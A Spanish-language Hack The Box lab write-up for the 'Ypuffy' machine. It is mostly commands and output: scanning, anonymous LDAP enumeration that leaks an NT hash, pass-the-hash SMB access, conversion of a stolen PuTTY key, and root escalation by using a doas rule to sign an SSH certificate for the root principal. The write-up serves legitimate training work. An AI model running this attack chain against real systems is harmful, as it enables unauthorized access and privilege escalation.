HTB write-up: Ypuffy
Contents
Sin duda una de las cosas que mas me gusta de HTB, es el hecho de tener un ecosistema tan variado que permite aprender en horizontales y verticales. Esta máquina me ayudo a conocer como funciona la generación de llaves de SSH a gran escala y como una mala configuración nos puede llevar a entregarle root a cualquier usuario. Tampoco conocía DOAS, pero se me hizo gracioso como fue relativamente fácil homologar lo aprendido de SUDO y RUNAS.
Sin mas vamos con el write up…
Machine info
La información que tenemos de la máquina es:
Name | Maker | OS | IP Address |
---|---|---|---|
ypuffy | AuxSarge | Other | 10.10.10.107 |
Su tarjeta de presentación es:
Port Scanning
Comenzamos por escanear todos los puertos TCP abiertos en la máquina, con la finalidad de poder encontrar los servicios ejecutándose en la máquina:
Primero un nmap de todos los puertos, sin resolución de dns y un haciendo un TCP syn scan:
root@laptop:~# nmap -sS -p- --open -n -v 10.10.10.107
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-31 11:16 CST
Initiating Ping Scan at 11:16
Scanning 10.10.10.107 [4 ports]
Completed Ping Scan at 11:16, 0.43s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 11:16
Scanning 10.10.10.107 [65535 ports]
Discovered open port 139/tcp on 10.10.10.107
Discovered open port 445/tcp on 10.10.10.107
Discovered open port 80/tcp on 10.10.10.107
Discovered open port 22/tcp on 10.10.10.107
Discovered open port 389/tcp on 10.10.10.107
Completed SYN Stealth Scan at 11:19, 122.60s elapsed (65535 total ports)
Nmap scan report for 10.10.10.107
Host is up (0.21s latency).
Not shown: 64940 closed ports, 590 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 123.17 seconds
Raw packets sent: 150935 (6.641MB) | Rcvd: 129858 (5.194MB)
Como backup a algún puerto coqueto que se haya hecho pasar por filtrado, realizamos un masscan:
root@laptop:~# masscan -e tun0 -p0-65535,U:0-65535 --rate 500 10.10.10.107
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2018-12-31 19:17:52 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131072 ports/host]
Discovered open port 139/tcp on 10.10.10.107
Discovered open port 445/tcp on 10.10.10.107
Discovered open port 80/tcp on 10.10.10.107
Discovered open port 22/tcp on 10.10.10.107
Discovered open port 389/tcp on 10.10.10.107
Observamos consistencia, por lo que continuamos a analizar los servicios y versiones en cada puerto:
root@laptop:~# nmap -p22,80,139,389,445 -sV -sC -n -v 10.10.10.107
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-02 17:35 CST
NSE: Loaded 148 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 17:35
Completed NSE at 17:35, 0.00s elapsed
Initiating NSE at 17:35
Completed NSE at 17:35, 0.00s elapsed
Initiating Ping Scan at 17:35
Scanning 10.10.10.107 [4 ports]
Completed Ping Scan at 17:35, 0.43s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 17:35
Scanning 10.10.10.107 [5 ports]
Discovered open port 445/tcp on 10.10.10.107
Discovered open port 22/tcp on 10.10.10.107
Discovered open port 80/tcp on 10.10.10.107
Discovered open port 139/tcp on 10.10.10.107
Discovered open port 389/tcp on 10.10.10.107
Completed SYN Stealth Scan at 17:35, 0.43s elapsed (5 total ports)
Initiating Service scan at 17:35
Scanning 5 services on 10.10.10.107
Completed Service scan at 17:36, 15.00s elapsed (5 services on 1 host)
NSE: Script scanning 10.10.10.107.
Initiating NSE at 17:36
Completed NSE at 17:36, 12.88s elapsed
Initiating NSE at 17:36
Completed NSE at 17:36, 0.00s elapsed
Nmap scan report for 10.10.10.107
Host is up (0.21s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 2e:19:e6:af:1b:a7:b0:e8:07:2a:2b:11:5d:7b:c6:04 (RSA)
| 256 dd:0f:6a:2a:53:ee:19:50:d9:e5:e7:81:04:8d:91:b6 (ECDSA)
|_ 256 21:9e:db:bd:e1:78:4d:72:b0:ea:b4:97:fb:7f:af:91 (ED25519)
80/tcp open http OpenBSD httpd
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: YPUFFY)
389/tcp open ldap (Anonymous bind OK)
445/tcp open netbios-ssn Samba smbd 4.7.6 (workgroup: YPUFFY)
Service Info: Host: YPUFFY
Host script results:
|_clock-skew: mean: 1h40m00s, deviation: 2h53m12s, median: 0s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6)
| Computer name: ypuffy
| NetBIOS computer name: YPUFFY\x00
| Domain name: hackthebox.htb
| FQDN: ypuffy.hackthebox.htb
|_ System time: 2019-01-02T18:36:10-05:00
| smb-security-mode:
| account_used: <blank>
| authentication\_level: user
| challenge\_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2019-01-02 17:36:10
|_ start\_date: N/A
NSE: Script Post-scanning.
Initiating NSE at 17:36
Completed NSE at 17:36, 0.00s elapsed
Initiating NSE at 17:36
Completed NSE at 17:36, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.32 seconds
Raw packets sent: 9 (372B) | Rcvd: 6 (248B)
Con este primer vistazo ya tenemos en nombre de la máquina, el dominio y un poco de información contradictoria (banner httpd de openbsd y smb-os de Windows 6.1)
LDAP
Continuemos por enumerar el servicio de LDAP con el script de nmap:
root@laptop:~# nmap -p389 10.10.10.107 -sC -sV --script ldap-search
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-02 18:24 CST
Nmap scan report for 10.10.10.107
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
389/tcp open ldap (Anonymous bind OK)
| ldap-search:
| Context: dc=hackthebox,dc=htb
| dn: dc=hackthebox,dc=htb
| dc: hackthebox
| objectClass: top
| objectClass: domain
| dn: ou=passwd,dc=hackthebox,dc=htb
| ou: passwd
| objectClass: top
| objectClass: organizationalUnit
| dn: uid=bob8791,ou=passwd,dc=hackthebox,dc=htb
| uid: bob8791
| cn: Bob
| objectClass: account
| objectClass: posixAccount
| objectClass: top
| userPassword: {BSDAUTH}bob8791
| uidNumber: 5001
| gidNumber: 5001
| gecos: Bob
| homeDirectory: /home/bob8791
| loginShell: /bin/ksh
| dn: uid=alice1978,ou=passwd,dc=hackthebox,dc=htb
| uid: alice1978
| cn: Alice
| objectClass: account
| objectClass: posixAccount
| objectClass: top
| objectClass: sambaSamAccount
| userPassword: {BSDAUTH}alice1978
| uidNumber: 5000
| gidNumber: 5000
| gecos: Alice
| homeDirectory: /home/alice1978
| loginShell: /bin/ksh
| sambaSID: S-1-5-21-3933741069-3307154301-3557023464-1001
| displayName: Alice
| sambaAcctFlags: [U ]
| sambaPasswordHistory: 00000000000000000000000000000000000000000000000000000000
| sambaNTPassword: 0B186E661BBDBDCF6047784DE8B9FD8B
| sambaPwdLastSet: 1532916644
| dn: ou=group,dc=hackthebox,dc=htb
| ou: group
| objectClass: top
| objectClass: organizationalUnit
| dn: cn=bob8791,ou=group,dc=hackthebox,dc=htb
| objectClass: posixGroup
| objectClass: top
| cn: bob8791
| userPassword: {crypt}*
| gidNumber: 5001
| dn: cn=alice1978,ou=group,dc=hackthebox,dc=htb
| objectClass: posixGroup
| objectClass: top
| cn: alice1978
| userPassword: {crypt}*
| gidNumber: 5000
| dn: sambadomainname=ypuffy,dc=hackthebox,dc=htb
| sambaDomainName: YPUFFY
| sambaSID: S-1-5-21-3933741069-3307154301-3557023464
| sambaAlgorithmicRidBase: 1000
| objectclass: sambaDomain
| sambaNextUserRid: 1000
| sambaMinPwdLength: 5
| sambaPwdHistoryLength: 0
| sambaLogonToChgPwd: 0
| sambaMaxPwdAge: -1
| sambaMinPwdAge: 0
| sambaLockoutDuration: 30
| sambaLockoutObservationWindow: 30
| sambaLockoutThreshold: 0
| sambaForceLogoff: -1
| sambaRefuseMachinePwdChange: 0
|_ sambaNextRid: 1001
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.79 seconds
Wow wow, slow down bro.
Tenemos ahora:
- El DC, hackthebox.htb
- Dos OU, group y passwd
- Dos UID, bob8791 (5001.5001) y alice1978 (5000.5000)
- Un NT Password from OU passwd, alice1978 / 0B186E661BBDBDCF6047784DE8B9FD8B
SMB
Usemos estas credenciales ahora para enumerar el servicio de SMB:
(CrackMapExec-wTENtMaY) xbytemx@laptop:~/git/CrackMapExec$ crackmapexec smb -u alice1978 -H 0B186E661BBDBDCF6047784DE8B9FD8B -d ypuff 10.10.10.107
SMB 10.10.10.107 445 YPUFFY [*] Windows 6.1 (name:YPUFFY) (domain:ypuff) (signing:False) (SMBv1:True)
SMB 10.10.10.107 445 YPUFFY [+] ypuff\alice1978 0B186E661BBDBDCF6047784DE8B9FD8B
(CrackMapExec-wTENtMaY) xbytemx@laptop:~/git/CrackMapExec$ crackmapexec smb -u alice1978 -H 0B186E661BBDBDCF6047784DE8B9FD8B -d ypuff 10.10.10.107 --shares
SMB 10.10.10.107 445 YPUFFY [*] Windows 6.1 (name:YPUFFY) (domain:ypuff) (signing:False) (SMBv1:True)
SMB 10.10.10.107 445 YPUFFY [+] ypuff\alice1978 0B186E661BBDBDCF6047784DE8B9FD8B
SMB 10.10.10.107 445 YPUFFY [+] Enumerated shares
SMB 10.10.10.107 445 YPUFFY Share Permissions Remark
SMB 10.10.10.107 445 YPUFFY ----- ----------- ------
SMB 10.10.10.107 445 YPUFFY alice READ,WRITE Alice's Windows Directory
SMB 10.10.10.107 445 YPUFFY IPC$ IPC Service (Samba Server)
Vientos, ahora tenemos el acceso al directorio de ALICE, analicemos su contenido:
(impacket-a2aNp99x) xbytemx@laptop:~/git/impacket/examples$ python smbclient.py -hashes 00000000000000000000000000000000:0B186E661BBDBD
CF6047784DE8B9FD8B YPUFF/alice1978@10.10.10.107
Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies
Type help for list of commands
# info
Version Major: 6
Version Minor: 1
Server Name: YPUFFY
Server Comment: Samba Server
Server UserPath: C:\
Simultaneous Users: 4294967295
# use alice
# ls
drw-rw-rw- 0 Wed Jan 2 19:09:09 2019 .
drw-rw-rw- 0 Tue Jul 31 22:16:50 2018 ..
-rw-rw-rw- 1460 Mon Jul 16 20:38:51 2018 my_private_key.ppk
# get my_private_key.ppk
# exit
PPK File and login
Ok, tenemos un archivo ppk, que después de googlear, veremos que es un formato usado en putty para manera llaves, por lo que descomponemos el archivo para usarlo en openssh. Tras convertirlo, usemos la llave privada para acceder a la cuenta de alice:
xbytemx@laptop:~/htb/ypuff$ puttygen my_private_key.ppk -O private-openssh -o id_rsa-ypuff
xbytemx@laptop:~/htb/ypuff$ chmod 600 id_rsa-ypuff
xbytemx@laptop:~/htb/ypuff$ ssh alice1978@10.10.10.107 -i id_rsa-ypuff
OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018
Welcome to OpenBSD: The proactively secure Unix-like operating system.
Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.
ypuffy$
cat user.txt
ypuffy$ cat user.txt
At bob8791
Después de una rápida revisión en los alrededores de alice, empezamos a espiar que hay con bob (me siento como si fuera eve):
Como dato curioso, bob8791 y alice1978, hacen referencia a los personajes ficticios que fueron inventados para el artículo de “A method for obtaining digital signatures and public-key cryptosystems.” en 1978!
ypuffy$ cd /home/bob8791
ypuffy$ ls -lah
total 36
drwxr-xr-x 3 bob8791 bob8791 512B Jul 30 20:52 .
drwxr-xr-x 5 root wheel 512B Jul 30 21:05 ..
-rw-r--r-- 1 bob8791 bob8791 87B Mar 24 2018 .Xdefaults
-rw-r--r-- 1 bob8791 bob8791 771B Mar 24 2018 .cshrc
-rw-r--r-- 1 bob8791 bob8791 101B Mar 24 2018 .cvsrc
-rw-r--r-- 1 bob8791 bob8791 359B Mar 24 2018 .login
-rw-r--r-- 1 bob8791 bob8791 175B Mar 24 2018 .mailrc
-rw-r--r-- 1 bob8791 bob8791 215B Mar 24 2018 .profile
drwxr-xr-x 2 bob8791 bob8791 512B Jul 30 20:53 dba
ypuffy$ cd dba
ypuffy$ ls -lah
total 12
drwxr-xr-x 2 bob8791 bob8791 512B Jul 30 20:53 .
drwxr-xr-x 3 bob8791 bob8791 512B Jul 30 20:52 ..
-rw-r--r-- 1 bob8791 bob8791 268B Jul 30 20:58 sshauth.sql
sshauth.sql
Interesante, sshauth.sql. Veamos en que consiste este archivo:
ypuffy$ strings sshauth.sql
CREATE TABLE principals (
uid text,
client cidr,
principal text,
PRIMARY KEY (uid,client,principal)
CREATE TABLE keys (
uid text,
key text,
PRIMARY KEY (uid,key)
grant select on principals,keys to appsrv;
Básicamente vemos que crea las tablas de principals y keys, y se le otorga acceso a appsrv para que pueda usarlos.
Config files
Veamos que hay en algunos archivos de configuración para hacernos una mejor idea de que realiza esta máquina.
doas
Veamos que podemos hacer como otros usuarios desde alice:
ypuffy$ cat /etc/doas.conf
permit keepenv :wheel
permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen
Así que por lo visto alice puede ejecutar ssh-keygen como userca, utilizaremos esta información esto más tarde.
httpd
¿Se acuerdan que aun teníamos el servicio TCP/80 sin enumerar? Pues bien, ya como alice podemos investigar un poco mas:
ypuffy$ cat /etc/httpd.conf
server "ypuffy.hackthebox.htb" {
listen on * port 80
location "/userca*" {
root "/userca"
root strip 1
directory auto index
}
location "/sshauth*" {
fastcgi socket "/run/wsgi/sshauthd.socket"
}
location * {
block drop
}
}
ypuffy$
Con razón mi gobuster fallo, todo lo que no fuera userca y sshauth se iba a drop. userca tiene un tema interesante, como vemos sirve para compartir el contenido del directorio. sshauth llama a un socket, si recordamos sshauth también era el nombre del archivo SQL que encontramos antes.
SSHd
Realizamos un pequeño filtro para tomar la información relevante:
ypuffy$ cat /etc/ssh/sshd_config | grep -vE "^#|^$"
PermitRootLogin prohibit-password
AuthorizedKeysFile .ssh/authorized_keys
AuthorizedKeysCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=keys&username=%u
AuthorizedKeysCommandUser nobody
TrustedUserCAKeys /home/userca/ca.pub
AuthorizedPrincipalsCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=principals&username=%u
AuthorizedPrincipalsCommandUser nobody
PasswordAuthentication no
ChallengeResponseAuthentication no
AllowAgentForwarding no
AllowTcpForwarding no
X11Forwarding no
Subsystem sftp /usr/libexec/sftp-server
Root solo puede entrar con certificados, no hay autenticación con contraseñas ni challenges, no hay fwd de ningún tipo.
También solo las llaves en .ssh/authorized_keys son las validas, pero el usuario nobody puede autorizar via el servicio web (/run/wsgi/sshauthd.socket) pasando los argumentos de tipo keys t el usuario que solicita.
Principals, usa el mismo servicio vía HTTPd, cambiando el tipo a principals.
CA keys
Como pudimos ver en el archivo de SSHd, las llaves de CA se encuentran en el home de userca:
ypuffy$ ls -lah /home/userca/
total 44
drwxr-xr-x 3 userca userca 512B Jul 30 2018 .
drwxr-xr-x 5 root wheel 512B Jul 30 2018 ..
-rw-r--r-- 1 userca userca 87B Jul 30 2018 .Xdefaults
-rw-r--r-- 1 userca userca 771B Jul 30 2018 .cshrc
-rw-r--r-- 1 userca userca 101B Jul 30 2018 .cvsrc
-rw-r--r-- 1 userca userca 359B Jul 30 2018 .login
-rw-r--r-- 1 userca userca 175B Jul 30 2018 .mailrc
-rw-r--r-- 1 userca userca 215B Jul 30 2018 .profile
drwx------ 2 userca userca 512B Jul 30 2018 .ssh
-r-------- 1 userca userca 1.6K Jul 30 2018 ca
-r--r--r-- 1 userca userca 410B Jul 30 2018 ca.pub
Esto significa que cualquier usuario puede preguntar por la lista de principals, y usarlo para otorgar accesos teniendo los privilegios adecuados hacia el archivo CA (doas). Y eso es precisamente lo que haremos.
Abusing SSH CA
Creating new pair of rsa key
Comenzamos por generar unas llaves RSA como alice:
ypuffy$ ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/alice1978/.ssh/id_rsa): /tmp/.miu/meh
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /tmp/.miu/meh.
Your public key has been saved in /tmp/.miu/meh.pub.
The key fingerprint is:
SHA256:h/p3lA1K73dZtbbhz3UhGChRcIZ7wMpilfHW1f2FCi0 alice1978@ypuffy.hackthebox.htb
The key's randomart image is:
+---[RSA 2048]----+
| .+o++ o. .. |
| o.+= E .....|
| o .+oo + . o|
| o o...o. = o|
| . . S..+ = .o|
| . .. + o+o|
| . o o B|
| . . o .=+|
| .. . . .+|
+----[SHA256]-----+
ypuffy$ ls -lah
total 28
drwxrwxrwx 2 alice1978 wheel 512B Jan 9 03:15 .
drwxrwxrwt 8 root wheel 512B Jan 9 03:10 ..
-rw------- 1 alice1978 wheel 1.6K Jan 9 03:14 meh
-rw-r--r-- 1 alice1978 wheel 413B Jan 9 03:14 meh.pub
ypuffy$ chmod 777 meh.pub
Al final hice accesible mi llave publica meh para cualquiera.
Security zone of root
Como queremos saber en que zona de seguridad esta el usuario root, por lo que usamos localmente la validación que aprendimos por sshd y ejecutamos como cualquier usuario curl
ypuffy$ /usr/local/bin/curl 'http://127.0.0.1/sshauth?type=principals&username=root'
3m3rgencyB4ckd00r
Ya tenemos la zona, ahora pasemos al firmado.
Signing key to trusted CA
Como hemos visto, el archivo de CA solo podía ser accedido por el usuario userca, por lo que tomando en cuenta las capacidades de DOAS, firmamos nuestro certificado para que tenga acceso a la misma zona de root.
ypuffy$ doas -u userca /usr/bin/ssh-keygen -s /home/userca/ca -I miau3 -n 3m3rgencyB4ckd00r -z 1 /tmp/.miu/meh.pub
Signed user key /tmp/.miu/meh-cert.pub: id "miau3" serial 1 for 3m3rgencyB4ckd00r valid forever
Finalmente, ingresamos como root usando el certificado que acabamos de autorizar.
login as root
ypuffy$ ssh root@127.0.0.1 -i meh
OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018
Welcome to OpenBSD: The proactively secure Unix-like operating system.
Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.
ypuffy# id
uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
ypuffy# ls
.Xdefaults .cache .cshrc .cvsrc .login .profile root.txt
cat root.txt
ypuffy# cat root.txt
… We got root flag.
Gracias por llegar hasta aquí, hasta la próxima!